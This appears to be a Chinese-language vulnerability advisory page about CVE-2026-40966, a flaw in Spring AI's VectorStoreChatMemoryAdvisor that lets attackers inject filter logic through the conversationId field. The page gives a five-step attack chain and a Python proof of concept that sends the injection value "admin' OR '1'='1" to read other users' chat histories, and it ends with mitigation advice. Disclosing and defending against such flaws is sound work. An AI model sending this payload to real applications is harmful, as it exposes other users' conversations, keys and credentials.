IPBUF安全漏洞报告
English
CVE-2026-40966 CVSS 5.9 中危

CVE-2026-40966 Spring AI对话隔离绕过漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-40966
漏洞类型
注入漏洞
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Spring AI

相关标签

Spring AI注入漏洞信息泄露0-dayCVE-2026-40966

漏洞概述

Spring AI 存在安全漏洞,攻击者可通过 conversationId 注入过滤器逻辑,绕过对话隔离。受影响应用若直接将用户输入作为 conversationId,攻击者可窃取其他用户聊天记录中的敏感信息,包括密钥和凭证。

技术细节

该漏洞主要影响使用 Spring AI 框架中 VectorStoreChatMemoryAdvisor 组件的应用程序。其根本原因在于应用程序缺乏对用户输入的严格校验,直接将用户提供的字符串作为 conversationId 参数传递。攻击者可以通过构造恶意的输入数据,向查询中注入特定的过滤器逻辑。由于 conversationId 是用于在向量存储中检索和隔离特定用户对话上下文的关键标识,一旦逻辑被篡改,原本的隔离限制即失效。攻击者利用此漏洞可远程读取系统内存中其他用户的聊天历史记录,进而窃取包含敏感密钥、凭证等高价值信息。该利用过程无需用户交互,且攻击复杂度较低,对数据机密性构成严重威胁。

攻击链分析

STEP 1
1. 识别目标
攻击者识别出使用 Spring AI 且启用了 VectorStoreChatMemoryAdvisor 的目标应用程序。
STEP 2
2. 构造恶意请求
攻击者构造一个发送给应用程序的 HTTP 请求,在 conversationId 字段中注入恶意的过滤器逻辑(例如布尔逻辑或通配符)。
STEP 3
3. 发起攻击
应用程序接收请求,将未经处理的 conversationId 传递给向量存储查询层。
STEP 4
4. 绕过隔离
注入的逻辑修改了查询条件,导致系统返回非预期的其他用户的对话记录。
STEP 5
5. 数据窃取
攻击者解析响应内容,获取其他用户的历史聊天记录及其中可能包含的敏感凭证或密钥。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Example) target = "http://vulnerable-spring-ai-app/api/chat" # Malicious payload attempting to inject filter logic via conversationId # This attempts to bypass isolation by injecting a condition that matches other users' data # Actual syntax depends on the underlying VectorStore implementation (e.g., Redis, Milvus) malicious_conversation_id = "admin' OR '1'='1" headers = { "Content-Type": "application/json" } data = { "message": "List all previous chat contents", "conversationId": malicious_conversation_id } try: response = requests.post(target, data=json.dumps(data), headers=headers) if response.status_code == 200: print("[+] Potential exploit successful!") print("[+] Response:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", e)

影响范围

Spring AI (使用 VectorStoreChatMemoryAdvisor 的特定版本,具体请参考官方公告)

防御指南

临时缓解措施
建议立即检查应用程序中 VectorStoreChatMemoryAdvisor 的使用情况。在将用户输入作为 conversationId 使用前,必须进行严格的格式校验和清洗,防止注入攻击。如果无法立即升级,应考虑实施额外的访问控制层以限制对向量存储的直接访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表